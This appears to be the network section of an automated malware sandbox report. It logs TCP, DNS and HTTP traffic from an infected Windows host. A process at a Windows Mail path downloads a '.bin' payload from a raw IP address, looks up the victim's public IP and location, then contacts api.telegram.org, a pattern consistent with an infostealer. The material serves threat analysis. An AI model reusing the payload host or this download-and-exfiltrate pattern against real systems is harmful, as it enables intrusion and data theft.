Sep 25, 2024 16:01:27.415621042 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.415631056 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.415633917 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.415644884 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.415657997 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.415667057 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.415671110 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.415683985 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.415687084 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.415694952 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.415702105 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.415709972 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.415720940 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.415723085 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.415733099 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.415745020 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.415756941 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.415760040 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.415767908 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.415780067 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.415791988 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.415801048 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.415803909 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.415816069 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.415822029 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.415827990 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.415836096 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.415839911 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.415852070 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.415858030 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.415864944 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.415878057 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.415889978 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.415889978 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.415901899 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.415915012 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.415931940 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.415951967 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.415977001 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.416712999 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.416738033 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.416750908 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.416760921 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.416775942 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.416780949 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.416793108 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.416795015 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.416825056 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.416831970 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.416831970 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:27.416898966 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:27.726623058 CEST	49711	80	192.168.2.8	132.226.247.73
Sep 25, 2024 16:01:27.731508017 CEST	80	49711	132.226.247.73	192.168.2.8
Sep 25, 2024 16:01:27.731575966 CEST	49711	80	192.168.2.8	132.226.247.73
Sep 25, 2024 16:01:27.731781960 CEST	49711	80	192.168.2.8	132.226.247.73
Sep 25, 2024 16:01:27.736515045 CEST	80	49711	132.226.247.73	192.168.2.8
Sep 25, 2024 16:01:28.417197943 CEST	80	49711	132.226.247.73	192.168.2.8
Sep 25, 2024 16:01:28.421348095 CEST	49711	80	192.168.2.8	132.226.247.73
Sep 25, 2024 16:01:28.426203966 CEST	80	49711	132.226.247.73	192.168.2.8
Sep 25, 2024 16:01:28.630296946 CEST	80	49711	132.226.247.73	192.168.2.8
Sep 25, 2024 16:01:28.683635950 CEST	49711	80	192.168.2.8	132.226.247.73
Sep 25, 2024 16:01:29.279510021 CEST	49713	443	192.168.2.8	188.114.97.3
Sep 25, 2024 16:01:29.279556036 CEST	443	49713	188.114.97.3	192.168.2.8
Sep 25, 2024 16:01:29.279748917 CEST	49713	443	192.168.2.8	188.114.97.3
Sep 25, 2024 16:01:29.293921947 CEST	49713	443	192.168.2.8	188.114.97.3
Sep 25, 2024 16:01:29.293941975 CEST	443	49713	188.114.97.3	192.168.2.8
Sep 25, 2024 16:01:29.782042980 CEST	443	49713	188.114.97.3	192.168.2.8
Sep 25, 2024 16:01:29.782131910 CEST	49713	443	192.168.2.8	188.114.97.3
Sep 25, 2024 16:01:29.788362980 CEST	49713	443	192.168.2.8	188.114.97.3
Sep 25, 2024 16:01:29.788393021 CEST	443	49713	188.114.97.3	192.168.2.8
Sep 25, 2024 16:01:29.788840055 CEST	443	49713	188.114.97.3	192.168.2.8
Sep 25, 2024 16:01:29.839890003 CEST	49713	443	192.168.2.8	188.114.97.3
Sep 25, 2024 16:01:29.843058109 CEST	49713	443	192.168.2.8	188.114.97.3
Sep 25, 2024 16:01:29.887413979 CEST	443	49713	188.114.97.3	192.168.2.8
Sep 25, 2024 16:01:30.109656096 CEST	443	49713	188.114.97.3	192.168.2.8
Sep 25, 2024 16:01:30.109759092 CEST	443	49713	188.114.97.3	192.168.2.8
Sep 25, 2024 16:01:30.109807014 CEST	49713	443	192.168.2.8	188.114.97.3
Sep 25, 2024 16:01:30.114414930 CEST	49713	443	192.168.2.8	188.114.97.3
Sep 25, 2024 16:01:30.134605885 CEST	49711	80	192.168.2.8	132.226.247.73
Sep 25, 2024 16:01:30.139451981 CEST	80	49711	132.226.247.73	192.168.2.8
Sep 25, 2024 16:01:30.343353987 CEST	80	49711	132.226.247.73	192.168.2.8
Sep 25, 2024 16:01:30.346256018 CEST	49715	443	192.168.2.8	188.114.97.3
Sep 25, 2024 16:01:30.346323013 CEST	443	49715	188.114.97.3	192.168.2.8
Sep 25, 2024 16:01:30.346398115 CEST	49715	443	192.168.2.8	188.114.97.3
Sep 25, 2024 16:01:30.346716881 CEST	49715	443	192.168.2.8	188.114.97.3
Sep 25, 2024 16:01:30.346739054 CEST	443	49715	188.114.97.3	192.168.2.8
Sep 25, 2024 16:01:30.386761904 CEST	49711	80	192.168.2.8	132.226.247.73
Sep 25, 2024 16:01:30.823992968 CEST	443	49715	188.114.97.3	192.168.2.8
Sep 25, 2024 16:01:30.833246946 CEST	49715	443	192.168.2.8	188.114.97.3
Sep 25, 2024 16:01:30.833276987 CEST	443	49715	188.114.97.3	192.168.2.8
Sep 25, 2024 16:01:30.954104900 CEST	443	49715	188.114.97.3	192.168.2.8
Sep 25, 2024 16:01:30.954199076 CEST	443	49715	188.114.97.3	192.168.2.8
Sep 25, 2024 16:01:30.954253912 CEST	49715	443	192.168.2.8	188.114.97.3
Sep 25, 2024 16:01:30.954719067 CEST	49715	443	192.168.2.8	188.114.97.3
Sep 25, 2024 16:01:30.957942963 CEST	49711	80	192.168.2.8	132.226.247.73
Sep 25, 2024 16:01:30.959353924 CEST	49716	80	192.168.2.8	132.226.247.73
Sep 25, 2024 16:01:30.963031054 CEST	80	49711	132.226.247.73	192.168.2.8
Sep 25, 2024 16:01:30.963124037 CEST	49711	80	192.168.2.8	132.226.247.73
Sep 25, 2024 16:01:30.964257002 CEST	80	49716	132.226.247.73	192.168.2.8
Sep 25, 2024 16:01:30.964327097 CEST	49716	80	192.168.2.8	132.226.247.73
Sep 25, 2024 16:01:30.964415073 CEST	49716	80	192.168.2.8	132.226.247.73
Sep 25, 2024 16:01:30.969189882 CEST	80	49716	132.226.247.73	192.168.2.8
Sep 25, 2024 16:01:31.637789011 CEST	80	49716	132.226.247.73	192.168.2.8
Sep 25, 2024 16:01:31.639033079 CEST	49717	443	192.168.2.8	188.114.97.3
Sep 25, 2024 16:01:31.639162064 CEST	443	49717	188.114.97.3	192.168.2.8
Sep 25, 2024 16:01:31.639300108 CEST	49717	443	192.168.2.8	188.114.97.3
Sep 25, 2024 16:01:31.639549017 CEST	49717	443	192.168.2.8	188.114.97.3
Sep 25, 2024 16:01:31.639588118 CEST	443	49717	188.114.97.3	192.168.2.8
Sep 25, 2024 16:01:31.683648109 CEST	49716	80	192.168.2.8	132.226.247.73
Sep 25, 2024 16:01:32.099658012 CEST	443	49717	188.114.97.3	192.168.2.8
Sep 25, 2024 16:01:32.107424021 CEST	49717	443	192.168.2.8	188.114.97.3
Sep 25, 2024 16:01:32.107462883 CEST	443	49717	188.114.97.3	192.168.2.8
Sep 25, 2024 16:01:32.251331091 CEST	443	49717	188.114.97.3	192.168.2.8
Sep 25, 2024 16:01:32.251466990 CEST	443	49717	188.114.97.3	192.168.2.8
Sep 25, 2024 16:01:32.251550913 CEST	49717	443	192.168.2.8	188.114.97.3
Sep 25, 2024 16:01:32.252095938 CEST	49717	443	192.168.2.8	188.114.97.3
Sep 25, 2024 16:01:32.256432056 CEST	49718	80	192.168.2.8	132.226.247.73
Sep 25, 2024 16:01:32.261246920 CEST	80	49718	132.226.247.73	192.168.2.8
Sep 25, 2024 16:01:32.264889956 CEST	49718	80	192.168.2.8	132.226.247.73
Sep 25, 2024 16:01:32.265062094 CEST	49718	80	192.168.2.8	132.226.247.73
Sep 25, 2024 16:01:32.269942999 CEST	80	49718	132.226.247.73	192.168.2.8
Sep 25, 2024 16:01:32.957473040 CEST	80	49718	132.226.247.73	192.168.2.8
Sep 25, 2024 16:01:32.958802938 CEST	49719	443	192.168.2.8	188.114.97.3
Sep 25, 2024 16:01:32.958851099 CEST	443	49719	188.114.97.3	192.168.2.8
Sep 25, 2024 16:01:32.958930016 CEST	49719	443	192.168.2.8	188.114.97.3
Sep 25, 2024 16:01:32.959178925 CEST	49719	443	192.168.2.8	188.114.97.3
Sep 25, 2024 16:01:32.959194899 CEST	443	49719	188.114.97.3	192.168.2.8
Sep 25, 2024 16:01:33.011774063 CEST	49718	80	192.168.2.8	132.226.247.73
Sep 25, 2024 16:01:33.416737080 CEST	443	49719	188.114.97.3	192.168.2.8
Sep 25, 2024 16:01:33.418996096 CEST	49719	443	192.168.2.8	188.114.97.3
Sep 25, 2024 16:01:33.419008970 CEST	443	49719	188.114.97.3	192.168.2.8
Sep 25, 2024 16:01:33.557709932 CEST	443	49719	188.114.97.3	192.168.2.8
Sep 25, 2024 16:01:33.557837009 CEST	443	49719	188.114.97.3	192.168.2.8
Sep 25, 2024 16:01:33.557892084 CEST	49719	443	192.168.2.8	188.114.97.3
Sep 25, 2024 16:01:33.558301926 CEST	49719	443	192.168.2.8	188.114.97.3
Sep 25, 2024 16:01:33.564223051 CEST	49718	80	192.168.2.8	132.226.247.73
Sep 25, 2024 16:01:33.565290928 CEST	49720	80	192.168.2.8	132.226.247.73
Sep 25, 2024 16:01:33.570285082 CEST	80	49720	132.226.247.73	192.168.2.8
Sep 25, 2024 16:01:33.570297956 CEST	80	49718	132.226.247.73	192.168.2.8
Sep 25, 2024 16:01:33.570342064 CEST	49720	80	192.168.2.8	132.226.247.73
Sep 25, 2024 16:01:33.570394993 CEST	49718	80	192.168.2.8	132.226.247.73
Sep 25, 2024 16:01:33.570441961 CEST	49720	80	192.168.2.8	132.226.247.73
Sep 25, 2024 16:01:33.575957060 CEST	80	49720	132.226.247.73	192.168.2.8
Sep 25, 2024 16:01:34.244263887 CEST	80	49720	132.226.247.73	192.168.2.8
Sep 25, 2024 16:01:34.245503902 CEST	49721	443	192.168.2.8	188.114.97.3
Sep 25, 2024 16:01:34.245537996 CEST	443	49721	188.114.97.3	192.168.2.8
Sep 25, 2024 16:01:34.245600939 CEST	49721	443	192.168.2.8	188.114.97.3
Sep 25, 2024 16:01:34.245846033 CEST	49721	443	192.168.2.8	188.114.97.3
Sep 25, 2024 16:01:34.245861053 CEST	443	49721	188.114.97.3	192.168.2.8
Sep 25, 2024 16:01:34.402401924 CEST	49720	80	192.168.2.8	132.226.247.73
Sep 25, 2024 16:01:34.706890106 CEST	443	49721	188.114.97.3	192.168.2.8
Sep 25, 2024 16:01:34.708379030 CEST	49721	443	192.168.2.8	188.114.97.3
Sep 25, 2024 16:01:34.708401918 CEST	443	49721	188.114.97.3	192.168.2.8
Sep 25, 2024 16:01:34.877008915 CEST	443	49721	188.114.97.3	192.168.2.8
Sep 25, 2024 16:01:34.877099991 CEST	443	49721	188.114.97.3	192.168.2.8
Sep 25, 2024 16:01:34.877187014 CEST	49721	443	192.168.2.8	188.114.97.3
Sep 25, 2024 16:01:34.877861023 CEST	49721	443	192.168.2.8	188.114.97.3
Sep 25, 2024 16:01:34.880836010 CEST	49720	80	192.168.2.8	132.226.247.73
Sep 25, 2024 16:01:34.881962061 CEST	49722	80	192.168.2.8	132.226.247.73
Sep 25, 2024 16:01:34.887064934 CEST	80	49720	132.226.247.73	192.168.2.8
Sep 25, 2024 16:01:34.887145042 CEST	49720	80	192.168.2.8	132.226.247.73
Sep 25, 2024 16:01:34.887525082 CEST	80	49722	132.226.247.73	192.168.2.8
Sep 25, 2024 16:01:34.887593985 CEST	49722	80	192.168.2.8	132.226.247.73
Sep 25, 2024 16:01:34.887885094 CEST	49722	80	192.168.2.8	132.226.247.73
Sep 25, 2024 16:01:34.894929886 CEST	80	49722	132.226.247.73	192.168.2.8
Sep 25, 2024 16:01:35.553495884 CEST	80	49722	132.226.247.73	192.168.2.8
Sep 25, 2024 16:01:35.554966927 CEST	49723	443	192.168.2.8	188.114.97.3
Sep 25, 2024 16:01:35.555003881 CEST	443	49723	188.114.97.3	192.168.2.8
Sep 25, 2024 16:01:35.555075884 CEST	49723	443	192.168.2.8	188.114.97.3
Sep 25, 2024 16:01:35.555381060 CEST	49723	443	192.168.2.8	188.114.97.3
Sep 25, 2024 16:01:35.555402994 CEST	443	49723	188.114.97.3	192.168.2.8
Sep 25, 2024 16:01:35.605612993 CEST	49722	80	192.168.2.8	132.226.247.73
Sep 25, 2024 16:01:36.035864115 CEST	443	49723	188.114.97.3	192.168.2.8
Sep 25, 2024 16:01:36.037668943 CEST	49723	443	192.168.2.8	188.114.97.3
Sep 25, 2024 16:01:36.037693977 CEST	443	49723	188.114.97.3	192.168.2.8
Sep 25, 2024 16:01:36.173316002 CEST	443	49723	188.114.97.3	192.168.2.8
Sep 25, 2024 16:01:36.173424006 CEST	443	49723	188.114.97.3	192.168.2.8
Sep 25, 2024 16:01:36.173505068 CEST	49723	443	192.168.2.8	188.114.97.3
Sep 25, 2024 16:01:36.177107096 CEST	49723	443	192.168.2.8	188.114.97.3
Sep 25, 2024 16:01:36.180850983 CEST	49722	80	192.168.2.8	132.226.247.73
Sep 25, 2024 16:01:36.181535006 CEST	49724	80	192.168.2.8	132.226.247.73
Sep 25, 2024 16:01:36.185939074 CEST	80	49722	132.226.247.73	192.168.2.8
Sep 25, 2024 16:01:36.186176062 CEST	49722	80	192.168.2.8	132.226.247.73
Sep 25, 2024 16:01:36.186693907 CEST	80	49724	132.226.247.73	192.168.2.8
Sep 25, 2024 16:01:36.186767101 CEST	49724	80	192.168.2.8	132.226.247.73
Sep 25, 2024 16:01:36.186857939 CEST	49724	80	192.168.2.8	132.226.247.73
Sep 25, 2024 16:01:36.191709995 CEST	80	49724	132.226.247.73	192.168.2.8
Sep 25, 2024 16:01:37.094461918 CEST	80	49724	132.226.247.73	192.168.2.8
Sep 25, 2024 16:01:37.095856905 CEST	80	49724	132.226.247.73	192.168.2.8
Sep 25, 2024 16:01:37.095912933 CEST	49724	80	192.168.2.8	132.226.247.73
Sep 25, 2024 16:01:37.096118927 CEST	49725	443	192.168.2.8	188.114.97.3
Sep 25, 2024 16:01:37.096163034 CEST	443	49725	188.114.97.3	192.168.2.8
Sep 25, 2024 16:01:37.096229076 CEST	49725	443	192.168.2.8	188.114.97.3
Sep 25, 2024 16:01:37.096482038 CEST	49725	443	192.168.2.8	188.114.97.3
Sep 25, 2024 16:01:37.096496105 CEST	443	49725	188.114.97.3	192.168.2.8
Sep 25, 2024 16:01:37.554128885 CEST	443	49725	188.114.97.3	192.168.2.8
Sep 25, 2024 16:01:37.555718899 CEST	49725	443	192.168.2.8	188.114.97.3
Sep 25, 2024 16:01:37.555763006 CEST	443	49725	188.114.97.3	192.168.2.8
Sep 25, 2024 16:01:37.705404997 CEST	443	49725	188.114.97.3	192.168.2.8
Sep 25, 2024 16:01:37.705523968 CEST	443	49725	188.114.97.3	192.168.2.8
Sep 25, 2024 16:01:37.705578089 CEST	49725	443	192.168.2.8	188.114.97.3
Sep 25, 2024 16:01:37.706034899 CEST	49725	443	192.168.2.8	188.114.97.3
Sep 25, 2024 16:01:37.709260941 CEST	49724	80	192.168.2.8	132.226.247.73
Sep 25, 2024 16:01:37.710505962 CEST	49726	80	192.168.2.8	132.226.247.73
Sep 25, 2024 16:01:37.714448929 CEST	80	49724	132.226.247.73	192.168.2.8
Sep 25, 2024 16:01:37.714524031 CEST	49724	80	192.168.2.8	132.226.247.73
Sep 25, 2024 16:01:37.716427088 CEST	80	49726	132.226.247.73	192.168.2.8
Sep 25, 2024 16:01:37.716640949 CEST	49726	80	192.168.2.8	132.226.247.73
Sep 25, 2024 16:01:37.716640949 CEST	49726	80	192.168.2.8	132.226.247.73
Sep 25, 2024 16:01:37.721504927 CEST	80	49726	132.226.247.73	192.168.2.8
Sep 25, 2024 16:01:38.425971031 CEST	80	49726	132.226.247.73	192.168.2.8
Sep 25, 2024 16:01:38.427208900 CEST	49727	443	192.168.2.8	188.114.97.3
Sep 25, 2024 16:01:38.427257061 CEST	443	49727	188.114.97.3	192.168.2.8
Sep 25, 2024 16:01:38.427508116 CEST	49727	443	192.168.2.8	188.114.97.3
Sep 25, 2024 16:01:38.427804947 CEST	49727	443	192.168.2.8	188.114.97.3
Sep 25, 2024 16:01:38.427819014 CEST	443	49727	188.114.97.3	192.168.2.8
Sep 25, 2024 16:01:38.480587959 CEST	49726	80	192.168.2.8	132.226.247.73
Sep 25, 2024 16:01:38.886761904 CEST	443	49727	188.114.97.3	192.168.2.8
Sep 25, 2024 16:01:38.892153978 CEST	49727	443	192.168.2.8	188.114.97.3
Sep 25, 2024 16:01:38.892169952 CEST	443	49727	188.114.97.3	192.168.2.8
Sep 25, 2024 16:01:39.227324009 CEST	443	49727	188.114.97.3	192.168.2.8
Sep 25, 2024 16:01:39.227447033 CEST	443	49727	188.114.97.3	192.168.2.8
Sep 25, 2024 16:01:39.227511883 CEST	49727	443	192.168.2.8	188.114.97.3
Sep 25, 2024 16:01:39.227922916 CEST	49727	443	192.168.2.8	188.114.97.3
Sep 25, 2024 16:01:39.231475115 CEST	49726	80	192.168.2.8	132.226.247.73
Sep 25, 2024 16:01:39.232079983 CEST	49728	80	192.168.2.8	132.226.247.73
Sep 25, 2024 16:01:39.236514091 CEST	80	49726	132.226.247.73	192.168.2.8
Sep 25, 2024 16:01:39.236625910 CEST	49726	80	192.168.2.8	132.226.247.73
Sep 25, 2024 16:01:39.236866951 CEST	80	49728	132.226.247.73	192.168.2.8
Sep 25, 2024 16:01:39.236928940 CEST	49728	80	192.168.2.8	132.226.247.73
Sep 25, 2024 16:01:39.236999989 CEST	49728	80	192.168.2.8	132.226.247.73
Sep 25, 2024 16:01:39.241713047 CEST	80	49728	132.226.247.73	192.168.2.8
Sep 25, 2024 16:01:39.903758049 CEST	80	49728	132.226.247.73	192.168.2.8
Sep 25, 2024 16:01:39.905082941 CEST	49729	443	192.168.2.8	188.114.97.3
Sep 25, 2024 16:01:39.905128002 CEST	443	49729	188.114.97.3	192.168.2.8
Sep 25, 2024 16:01:39.905217886 CEST	49729	443	192.168.2.8	188.114.97.3
Sep 25, 2024 16:01:39.905473948 CEST	49729	443	192.168.2.8	188.114.97.3
Sep 25, 2024 16:01:39.905487061 CEST	443	49729	188.114.97.3	192.168.2.8
Sep 25, 2024 16:01:39.949405909 CEST	49728	80	192.168.2.8	132.226.247.73
Sep 25, 2024 16:01:40.382255077 CEST	443	49729	188.114.97.3	192.168.2.8
Sep 25, 2024 16:01:40.383868933 CEST	49729	443	192.168.2.8	188.114.97.3
Sep 25, 2024 16:01:40.383893013 CEST	443	49729	188.114.97.3	192.168.2.8
Sep 25, 2024 16:01:40.530066967 CEST	443	49729	188.114.97.3	192.168.2.8
Sep 25, 2024 16:01:40.530164003 CEST	443	49729	188.114.97.3	192.168.2.8
Sep 25, 2024 16:01:40.530216932 CEST	49729	443	192.168.2.8	188.114.97.3
Sep 25, 2024 16:01:40.530718088 CEST	49729	443	192.168.2.8	188.114.97.3
Sep 25, 2024 16:01:40.563062906 CEST	49728	80	192.168.2.8	132.226.247.73
Sep 25, 2024 16:01:40.787496090 CEST	80	49728	132.226.247.73	192.168.2.8
Sep 25, 2024 16:01:40.787563086 CEST	49728	80	192.168.2.8	132.226.247.73
Sep 25, 2024 16:01:40.789716005 CEST	49730	443	192.168.2.8	149.154.167.220
Sep 25, 2024 16:01:40.789766073 CEST	443	49730	149.154.167.220	192.168.2.8
Sep 25, 2024 16:01:40.789828062 CEST	49730	443	192.168.2.8	149.154.167.220
Sep 25, 2024 16:01:40.790307045 CEST	49730	443	192.168.2.8	149.154.167.220
Sep 25, 2024 16:01:40.790323019 CEST	443	49730	149.154.167.220	192.168.2.8
Sep 25, 2024 16:01:41.563427925 CEST	443	49730	149.154.167.220	192.168.2.8
Sep 25, 2024 16:01:41.563509941 CEST	49730	443	192.168.2.8	149.154.167.220
Sep 25, 2024 16:01:41.567497969 CEST	49730	443	192.168.2.8	149.154.167.220
Sep 25, 2024 16:01:41.567507982 CEST	443	49730	149.154.167.220	192.168.2.8
Sep 25, 2024 16:01:41.567790985 CEST	443	49730	149.154.167.220	192.168.2.8
Sep 25, 2024 16:01:41.570779085 CEST	49730	443	192.168.2.8	149.154.167.220
Sep 25, 2024 16:01:41.615411997 CEST	443	49730	149.154.167.220	192.168.2.8
Sep 25, 2024 16:01:41.825213909 CEST	443	49730	149.154.167.220	192.168.2.8
Sep 25, 2024 16:01:41.825290918 CEST	443	49730	149.154.167.220	192.168.2.8
Sep 25, 2024 16:01:41.825366020 CEST	49730	443	192.168.2.8	149.154.167.220
Sep 25, 2024 16:01:41.873963118 CEST	49730	443	192.168.2.8	149.154.167.220
Sep 25, 2024 16:01:57.212063074 CEST	49716	80	192.168.2.8	132.226.247.73

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 25, 2024 16:01:27.711285114 CEST	57631	53	192.168.2.8	1.1.1.1
Sep 25, 2024 16:01:27.718611002 CEST	53	57631	1.1.1.1	192.168.2.8
Sep 25, 2024 16:01:29.267692089 CEST	49174	53	192.168.2.8	1.1.1.1
Sep 25, 2024 16:01:29.278820992 CEST	53	49174	1.1.1.1	192.168.2.8
Sep 25, 2024 16:01:40.563646078 CEST	54603	53	192.168.2.8	1.1.1.1
Sep 25, 2024 16:01:40.788978100 CEST	53	54603	1.1.1.1	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 25, 2024 16:01:27.711285114 CEST	192.168.2.8	1.1.1.1	0xffc4	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Sep 25, 2024 16:01:29.267692089 CEST	192.168.2.8	1.1.1.1	0x9f1c	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Sep 25, 2024 16:01:40.563646078 CEST	192.168.2.8	1.1.1.1	0x6d3d	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Sep 25, 2024 16:01:27.718611002 CEST	1.1.1.1	192.168.2.8	0xffc4	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 25, 2024 16:01:27.718611002 CEST	1.1.1.1	192.168.2.8	0xffc4	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Sep 25, 2024 16:01:27.718611002 CEST	1.1.1.1	192.168.2.8	0xffc4	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Sep 25, 2024 16:01:27.718611002 CEST	1.1.1.1	192.168.2.8	0xffc4	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Sep 25, 2024 16:01:27.718611002 CEST	1.1.1.1	192.168.2.8	0xffc4	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Sep 25, 2024 16:01:27.718611002 CEST	1.1.1.1	192.168.2.8	0xffc4	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Sep 25, 2024 16:01:29.278820992 CEST	1.1.1.1	192.168.2.8	0x9f1c	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Sep 25, 2024 16:01:29.278820992 CEST	1.1.1.1	192.168.2.8	0x9f1c	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Sep 25, 2024 16:01:40.788978100 CEST	1.1.1.1	192.168.2.8	0x6d3d	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

reallyfreegeoip.org

api.telegram.org

185.29.11.53

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49710	185.29.11.53	80	8168	C:\Program Files (x86)\Windows Mail\wabmig.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 16:01:26.363347054 CEST	171	OUT	GET /fhSIfglR68.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: 185.29.11.53 Cache-Control: no-cache
Sep 25, 2024 16:01:26.987665892 CEST	1236	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 24 Sep 2024 22:05:30 GMT Accept-Ranges: bytes ETag: "6878b9decdedb1:0" Server: Microsoft-IIS/8.5 Date: Wed, 25 Sep 2024 14:01:24 GMT Content-Length: 274496 Data Raw: 1e e9 ab 57 fa bc 73 74 a0 db 59 1a a5 fa 24 ba 71 39 a0 4b b2 de 87 a3 e7 46 89 24 f7 2b 05 14 be 49 e5 32 b8 be a7 1e 5a 8b 79 0a 64 23 77 af 19 f9 26 5e cb 05 0a 97 b2 41 78 9d 2d b5 58 fb fe 0e 7f 3b 1d c3 8b ee 44 46 79 99 df e6 17 2b 9f 64 11 4b c9 9c fc fe e0 84 ec 3e 30 26 09 02 a5 48 f3 a5 7a 62 e0 bf 25 66 a3 de 64 05 82 4f d0 99 28 42 39 1b 5a 56 29 21 57 bc 1e 41 89 9f b7 5a 31 3d c8 57 39 7f 02 93 07 99 c4 e0 59 81 63 4d 36 c8 8d a4 30 9a 78 92 13 fe 08 4b a9 d9 f6 a8 a2 38 00 18 28 a6 d1 6c 4a cd db 19 e8 ca 1d de 53 aa 02 5e 7f 38 a5 88 d1 b3 7c 26 52 7d 4b b7 56 e6 0f 94 c0 2c 52 4d 15 f9 19 de c4 94 e5 d5 f1 66 0d 8e 7f 4b 68 fc b8 c7 46 7c 75 05 c6 73 e2 29 f7 e4 29 21 50 63 43 4b 22 b3 be e1 b4 9e 75 71 55 6b 87 c7 4e 79 1d 3c 04 f7 0b ad 1a e5 af 5e 7a 47 9f 10 15 f4 a3 99 c5 9e 2a b6 e3 7a 6d b1 09 81 8a 17 9c 58 29 07 0b dd 39 f7 54 71 1f 0b ca 57 ca 0f c4 28 75 58 84 33 82 76 1d 10 20 e3 28 3a 73 5e 82 30 b4 fa 3f 7c 3a b1 a1 6b 55 7e e2 ea 04 47 4d a4 41 19 ab aa 0c b6 9e 2b [TRUNCATED] Data Ascii: WstY$q9KF$+I2Zyd#w&^Ax-X;DFy+dK>0&Hzb%fdO(B9ZV)!WAZ1=W9YcM60xK8(lJS^8\|&R}KV,RMfKhF\|us))!PcCK"uqUkNy<^zGzmX)9TqW(uX3v (:s^0?\|:kU~GMA+KTw3\Bu6V:\pj\|lS" lYt)S* 